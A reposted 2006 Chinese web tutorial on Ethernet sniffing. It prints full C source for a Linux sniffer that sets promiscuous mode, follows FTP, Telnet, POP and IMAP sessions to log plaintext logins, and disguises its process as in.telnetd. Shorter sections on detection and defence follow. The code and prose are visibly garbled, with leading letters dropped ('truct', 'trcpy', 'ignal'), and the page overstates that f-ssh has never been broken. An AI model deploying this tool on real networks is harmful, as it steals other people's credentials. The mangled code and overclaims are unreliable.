| 域名空间 下载中心 社区论坛 信息公告 my小屋 |
![]() |
联系我们 设为首页 加入收藏 |
|
首页 | 新闻资讯 | 编程开发 | 网页设计 | 图形图象 | 网络媒体 | 网站模板 | 数 据 库 | 投稿 论坛 | 操作系统 | 系统优化 | 网络安全 | 黑客技术 | 硬件学堂 | 硬件报价 | 服 务 器 | 地图 专题 | 应用软件 | 聊天通讯 | q q 专栏 | 建站经验 | 在线工具 | 站长club | 注 册 表 | 旧版 社会 | 游戏娱乐 | 设计欣赏 | 疑难解答 | 社区论坛 | 韩国素材 | 素材图库 | 广告服务 | 服务 |
| 新版上线![旧版] | |||||
注:打开慢时请稍等
sniffer黑客教程http://www.iyit.net 日期:2006-5-29 13:28:24 来源:网络转载 点击: |
第一节 sniffer简介 什么是以太网sniffing? 以太网sniffing 是指对以太网设备上传送的数据包进行侦听,发现感兴趣的包。如果发现符合条件的包,就把它存到一个log文件中去。通常设置的这些条件是包含字"username"或"password"的包。 它的目的是将网络层放到promiscuous模式,从而能干些事情。promiscuous模式是指网络上的所有设备都对总线上传送的数据进行侦听,并不仅仅是它们自己的数据。根据第二章中有关对以太网的工作原理的基本介绍,可以知道:一个设备要向某一目标发送数据时,它是对以太网进行广播的。一个连到以太网总线上的设备在任何时间里都在接受数据。不过只是将属于自己的数据传给该计算机上的应用程序。 利用这一点,可以将一台计算机的网络连接设置为接受所有以太网总线上的数据,从而实现sniffer。 iffer通常运行在路由器,或有路由器功能的主机上。这样就能对大量的数据进行监控。sniffer属第二层次的攻击。通常是攻击者已经进入了目标系统,然后使用sniffer这种攻击手段,以便得到更多的信息。 iffer除了能得到口令或用户名外,还能得到更多的其他信息,比如一个其他重要的信息,在网上传送的金融信息等等。sniffer几乎能得到任何以太网上的传送的数据包。 有许多运行与不同平台上的sniffer程序。 linux tcpdump、dos ethload、the gobbler、lanpatrol、lanwatch 、netmon、netwatch、netzhack 上面的这些程序,可以从互连网上找到。 使用sniffer程序或编写一个功能强大的sniffer程序需要一些网络方面的知识。因为如果没有恰当的设置这个程序,根本就不能从大量的数据中找出需要的信息。 通常sniffer程序只看一个数据包的前200-300个字节的数据,就能发现想口令和用户名这样的信息。 第二节 一个sniffer源程序 下面是一个linux以太网sniffer的源程序。可以根据需要加强这个程序。 /* linux sniffer.c 本程序已经在red hat 5.2上调试通过*/ #include < string.h> #include < ctype.h> #include < stdio.h> #include < netdb.h> #include < sys/file.h> #include < sys/time.h> #include < sys/socket.h> #include < sys/ioctl.h> #include < sys/signal.h> #include < net/if.h> #include < arpa/inet.h> #include < netinet/in.h> #include < netinet/ip.h> #include < netinet/tcp.h> #include < netinet/if_ether.h> int openintf(char *); int read_tcp(int); int filter(void); int print_header(void); int print_data(int, char *); char *hostlookup(unsigned long int); void clear_victim(void); void cleanup(int); truct etherpacket { truct ethhdr eth; truct iphdr ip; truct tcphdr tcp; char buff[8192]; }ep; truct { unsigned long saddr; unsigned long daddr; unsigned short sport; unsigned short dport; int bytes_read; char active; time_t start_time; } victim; truct iphdr *ip; truct tcphdr *tcp; int s; file *fp; #define captlen 512 #define timeout 30 #define tcplog "tcp.log" int openintf(char *d) { int fd; truct ifreq ifr; int s; fd=socket(af_inet, sock_packet, htons(0x800)); if(fd < 0) { error("cant get sock_packet socket"); exit(0); } trcpy(ifr.ifr_name, d); =ioctl(fd, siocgifflags, &ifr); if(s < 0) { close(fd); error("cant get flags"); exit(0); } ifr.ifr_flags |= iff_promisc; =ioctl(fd, siocsifflags, &ifr); if(s < 0) perror("can not set promiscuous mode"); return fd; } int read_tcp(int s) { int x; while(1) { x=read(s, (struct etherpacket *)&ep, sizeof(ep)); if(x > 1) { if(filter()==0) continue; x=x-54; if(x < 1) continue; return x; } } } int filter(void) { int p; =0; if(ip->protocol != 6) return 0; if(victim.active != 0) if(victim.bytes_read > captlen) { fprintf(fp, "\n----- [caplen exceeded]\n"); clear_victim(); return 0; } if(victim.active != 0) if(time(null) > (victim.start_time + timeout)) { fprintf(fp, "\n----- [timed out]\n"); clear_victim(); return 0; } if(ntohs(tcp->dest)==21) p=1; /* ftp */ if(ntohs(tcp->dest)==23) p=1; /* telnet */ if(ntohs(tcp->dest)==110) p=1; /* pop3 */ if(ntohs(tcp->dest)==109) p=1; /* pop2 */ if(ntohs(tcp->dest)==143) p=1; /* imap2 */ if(ntohs(tcp->dest)==513) p=1; /* rlogin */ if(ntohs(tcp->dest)==106) p=1; /* poppasswd */ if(victim.active == 0) if(p == 1) if(tcp->syn == 1) { victim.saddr=ip->saddr; victim.daddr=ip->daddr; victim.active=1; victim.sport=tcp->source; victim.dport=tcp->dest; victim.bytes_read=0; victim.start_time=time(null); rint_header(); } if(tcp->dest != victim.dport) return 0; if(tcp->source != victim.sport) return 0; if(ip->saddr != victim.saddr) return 0; if(ip->daddr != victim.daddr) return 0; if(tcp->rst == 1) { victim.active=0; alarm(0); fprintf(fp, "\n----- [rst]\n"); clear_victim(); return 0; } if(tcp->fin == 1) { victim.active=0; alarm(0); fprintf(fp, "\n----- [fin]\n"); clear_victim(); return 0; } return 1; } int print_header(void) { fprintf(fp, "\n"); fprintf(fp, "%s => ", hostlookup(ip->saddr)); fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest)); } int print_data(int datalen, char *data) { int i=0; int t=0; victim.bytes_read=victim.bytes_read+datalen; for(i=0;i != datalen;i++) { if(data[i] == 13) { fprintf(fp, "\n"); t=0; } if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;} if(t > 75) {t=0;fprintf(fp, "\n");} } } main(int argc, char **argv) { rintf(argv[0],"%s","in.telnetd"); =openintf("eth0"); ip=(struct iphdr *)(((unsigned long)&ep.ip)-2); tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2); ignal(sighup, sig_ign); ignal(sigint, cleanup); ignal(sigterm, cleanup); ignal(sigkill, cleanup); ignal(sigquit, cleanup); if(argc == 2) fp=stdout; else fp=fopen(tcplog, "at"); if(fp == null) { fprintf(stderr, "cant open log\n");exit(0);} clear_victim(); for(;;) { read_tcp(s); if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2); fflush(fp); } } char *hostlookup(unsigned long int in) { tatic char blah[1024]; truct in_addr i; truct hostent * he; i.s_addr=in; he=gethostbyaddr((char *)&i, sizeof(struct in_addr),af_inet); if(he == null) trcpy(blah, inet_ntoa(i)); else trcpy(blah,he->h_name); return blah; } void clear_victim(void) { victim.saddr=0; victim.daddr=0; victim.sport=0; victim.dport=0; victim.active=0; victim.bytes_read=0; victim.start_time=0; } void cleanup(int sig) { fprintf(fp, "exiting...\n"); close(s); fclose(fp); exit(0); } 下面对上面的程序作一个介绍。结构etherpacket定义了一个数据包。其中的ethhdr,iphdr,和tcphdr分别是三个结构,用来定义以太网帧,ip数据包头和tcp数据包头的格式。 它们在头文件中的定义如下: truct ethhdr { unsigned char h_dest[eth_alen]; /* destination eth addr */ unsigned char h_source[eth_alen]; /* source ether addr */ unsigned short h_proto; /* packet type id field */ }; truct iphdr { #if __byte_order == __little_endian u_int8_t ihl:4; u_int8_t version:4; #elif __byte_order == __big_endian u_int8_t version:4; u_int8_t ihl:4; #else #error "please fix < bytesex.h>" #endif u_int8_t tos; u_int16_t tot_len; u_int16_t id; u_int16_t frag_off; u_int8_t ttl; u_int8_t protocol; u_int16_t check; u_int32_t saddr; u_int32_t daddr; /*the options start here. */ }; truct tcphdr { u_int16_t source; u_int16_t dest; u_int32_t seq; u_int32_t ack_seq; #if __byte_order == __little_endian u_int16_t res1:4; u_int16_t doff:4; u_int16_t fin:1; u_int16_t syn:1; u_int16_t rst:1; u_int16_t psh:1; u_int16_t ack:1; u_int16_t urg:1; u_int16_t res2:2; #elif __byte_order == __big_endian u_int16_t doff:4; u_int16_t res1:4; u_int16_t res2:2; u_int16_t urg:1; u_int16_t ack:1; u_int16_t psh:1; u_int16_t rst:1; u_int16_t syn:1; u_int16_t fin:1; #else #error "adjust your < bits/endian.h> defines" #endif u_int16_t window; u_int16_t check; u_int16_t urg_ptr; }; 上述结构的具体含义可参见《tcp/ip协议简介》一章中的相关内容。接下来,定义了一个结构变量victim。 随后,看一下函数int openintf(char *d),它的作用是打开一个网络接口。在main中是将eth0作为参数来调用这个函数。在这个函数中,用到了下面的结构: truct ifreq { #define ifhwaddrlen 6 #define ifnamsiz 16 union { char ifrn_name[ifnamsiz]; /* interface name, e.g. "en0". */ } ifr_ifrn; union { truct sockaddr ifru_addr; truct sockaddr ifru_dstaddr; truct sockaddr ifru_broadaddr; truct sockaddr ifru_netmask; truct sockaddr ifru_hwaddr; hort int ifru_flags; int ifru_ivalue; int ifru_mtu; truct ifmap ifru_map; char ifru_slave[ifnamsiz]; /* just fits the size */ __caddr_t ifru_data; } ifr_ifru; }; 这个结构叫接口请求结构,用来调用在i/o输入输出时使用。所有的接口i/o输出必须有一个参数,这个参数以ifr_name开头,后面的参数根据使用不同的网络接口而不同。 如果你要看看你的计算机有哪些网络接口,使用命令ifconfig即可。一般你会看到两个接口lo0和eth0。在ifreq结构中的各个域的含义与ifconfig的输出是一一对应的。在这里,程序将eth0作为ifr_name来使用的。接着,该函数将这个网络接口设置成promiscuous模式。请记住,sniffer是工作在这种模式下的。 再看一下函数read_tcp,它的作用是读取tcp数据包,传给filter处理。filter函数是对上述读取的数据包进行处理。 接下来的程序是将数据输出到文件中去。 函数clearup是在程序退出等事件时,在文件中作个记录,并关闭文件。否则,你刚才做的记录都没了。 第三节 怎样在一个网络上发现一个sniffer 简单的一个回答是你发现不了。因为他们根本就没有留下任何痕迹。 只有一个办法是看看计算机上当前正在运行的所有程序。但这通常并不可靠,但你可以控制哪个程序可以在你的计算机上运行。 在unix系统下使用下面的命令: -aux 或: -augx 这个命令列出当前的所有进程,启动这些进程的用户,它们占用cpu的时间,占用内存的多少等等。在windows系统下,按下ctrl+alt+del,看一下任务列表。不过,编程技巧高的sniffer即使正在运行,也不会出现在这里的。另一个方法就是在系统中搜索,查找可怀疑的文件。但可能入侵者用的是他们自己写的程序,所以都给发现sniffer造成相当的困难。 还有许多工具,能用来看看你的系统会不会在promiscuous模式。从而发现是否有一个sniffer正在运行。 怎样防止被sniffer 要防止sniffer并不困难,有许多可以选用的方法。但关键是都要有开销。所以问题在于你是否舍得开销。 你最关心的可能是传输一些比较敏感的数据,如用户id或口令等等。有些数据是没有经过处理的,一旦被sniffer,就能获得这些信息。解决这些问题的办法是加密。 加密 我们介绍以下ssh,它又叫secure shell。ssh是一个在应用程序中提供安全通信的协议。它是建立在客户机/服务器模型上的。ssh服务器的分配的端口是22。连接是通过使用一种来自rsa的算法建立的。在授权完成后,接下来的通信数据是用idea技术来加密的。这通常是较强的 ,适合与任何非秘密和非经典的通讯。 ssh后来发展成为f-ssh,提供了高层次的,军方级别的对通信过程的加密。它为通过tcp/ip网络通信提供了通用的最强的加密。 如果某个站点使用f-ssh,用户名和口令成为不是很重要的一点。目前,还没有人突破过这种加密方法。即使是sniffer,收集到的信息将不再有价值。当然最关键的是怎样使用它。 ssh和f-ssh都有商业或自由软件版本存在。nt are available. 还有其他的方法吗? 另一个比较容易接受的是使用安全拓扑结构。这听上去很简单,但实现是很花钱的。 玩过一种智力游戏吗,它通常有一系列数字组成。游戏的目的是要安排好数字,用最少的步骤,把它们按递减顺序排好。当处理网络拓扑时,就和玩这个游戏一样。 下面是一些规则: 一个网络段必须有足够的理由才能信任另一网络段。网络段应该考虑你的数据之间的信任关系上来设计,而不是硬件需要。 这就建立了,让我们来看看。第一点:一个网络段是仅由能互相信任的计算机组成的。通常它们在同一个房间里,或在同一个办公室里。比如你的财务信息,应该固定在建筑的一部分。 注意每台机器是通过硬连接线接到hub的。hub再接到交换机上。由于网络分段了,数据包只能在这个网段上别sniffer。其余的网段将不可能被sniffer。 所有的问题都归结到信任上面。计算机为了和其他计算机进行通信,它就必须信任那台计算机。作为系统管理员,你的工作是决定一个方法,使得计算机之间的信任关系很小。这样,就建立了一种框架,你告诉你什么时候放置了一个sniffer,它放在那里了,是谁放的等等。 如果你的局域网要和internet相连,仅仅使用防火墙是不够的。入侵者已经能从一个防火墙后面扫描,并探测正在运行的服务。你要关心的是一旦入侵者进入系统,他能得到些什么。你必须考虑一条这样的路径,即信任关系有多长。举个例子,假设你的web服务器对某一计算机a是信任的。那么有多少计算机是a信任的呢。又有多少计算机是受这些计算机信任的呢?用一句话,就是确定最小信任关系的那台计算机。在信任关系中,这台计算机之前的任何一台计算机都可能对你的计算机进行攻击,并成功。你的任务就是保证一旦出现的sniffer,它只对最小范围有效。 sniffer往往是攻击者在侵入系统后使用的,用来收集有用的信息。因此,防止系统被突破是关键。系统安全管理员要定期的对所管理的网络进行安全测试,防止安全隐患。同时要控制拥有相当权限的用户的数量。请记住,许多攻击往往来自网络内部。 编辑:黑鹰 [发送给好友] [打印本页] [关闭窗口] [返回顶部] 上一篇:nai的sniffer系统 下一篇:嗅探原理与反嗅探技术详解 转载请注明来源:www.iyit.net 特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。 |
| 最新更新 | 热点排行 | 推荐新闻 | |||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||
| 友情链接 | ||||||
| 设置首 页 - 版权声明 - 广告服务 - 关于我们 - 联系我们 - 友情连接 |
| |||||||